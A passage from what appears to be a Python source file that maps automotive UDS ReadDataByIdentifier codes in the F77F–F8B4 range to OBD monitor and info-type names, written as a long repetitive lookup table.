F7FF\"\nUDS_RDBI.dataIdentifiers[0xf77f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf780] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf781] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf782] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf783] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf784] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf785] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf786] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf787] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf788] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf789] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf78a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf78b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf78c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf78d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf78e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf78f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf790] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf791] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf792] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf793] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf794] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf795] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf796] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf797] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf798] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf799] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf79a] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf79b] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf79c] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf79d] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf79e] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf79f] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a0] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a1] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a2] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a3] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a4] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a5] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a6] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a7] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a8] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7a9] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7aa] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ab] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ac] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ad] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ae] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7af] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b0] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b1] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b2] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b3] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b4] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b5] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b6] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b7] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b8] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7b9] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ba] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7bb] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7bc] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7bd] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7be] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7bf] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c0] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c1] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c2] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c3] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c4] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c5] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c6] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c7] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c8] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7c9] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ca] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7cb] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7cc] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7cd] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ce] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7cf] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d0] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d1] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d2] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d3] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d4] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d5] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d6] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d7] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d8] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7d9] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7da] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7db] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7dc] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7dd] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7de] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7df] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e0] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e1] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e2] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e3] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e4] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e5] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e6] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e7] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e8] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7e9] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ea] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7eb] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ec] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ed] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ee] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ef] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f0] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f1] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f2] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f3] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f4] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f5] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f6] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f7] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f8] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7f9] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7fa] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7fb] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7fc] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7fd] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7fe] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf7ff] = \"OBDMonitorIds_F700 - F7FF\"\nUDS_RDBI.dataIdentifiers[0xf800] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf801] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf802] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf803] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf804] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf805] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf806] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf807] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf808] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf809] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf80a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf80b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf80c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf80d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf80e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf80f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf810] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf811] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf812] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf813] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf814] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf815] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf816] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf817] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf818] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf819] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf81a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf81b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf81c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf81d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf81e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf81f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf820] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf821] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf822] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf823] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf824] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf825] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf826] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf827] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf828] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf829] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf82a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf82b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf82c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf82d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf82e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf82f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf830] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf831] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf832] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf833] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf834] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf835] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf836] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf837] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf838] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf839] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf83a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf83b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf83c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf83d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf83e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf83f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf840] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf841] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf842] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf843] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf844] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf845] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf846] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf847] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf848] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf849] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf84a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf84b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf84c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf84d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf84e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf84f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf850] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf851] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf852] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf853] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf854] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf855] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf856] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf857] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf858] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf859] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf85a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf85b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf85c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf85d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf85e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf85f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf860] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf861] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf862] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf863] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf864] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf865] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf866] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf867] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf868] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf869] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf86a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf86b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf86c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf86d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf86e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf86f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf870] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf871] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf872] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf873] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf874] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf875] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf876] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf877] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf878] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf879] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf87a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf87b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf87c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf87d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf87e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf87f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf880] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf881] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf882] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf883] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf884] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf885] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf886] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf887] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf888] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf889] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf88a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf88b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf88c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf88d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf88e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf88f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf890] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf891] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf892] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf893] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf894] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf895] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf896] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf897] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf898] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf899] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf89a] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf89b] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf89c] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf89d] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf89e] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf89f] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a0] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a1] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a2] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a3] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a4] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a5] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a6] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a7] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a8] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8a9] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8aa] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8ab] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8ac] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8ad] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8ae] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8af] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8b0] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8b1] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8b2] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8b3] = \"OBDInfoTypes_F800_F8FF\"\nUDS_RDBI.dataIdentifiers[0xf8b4] = 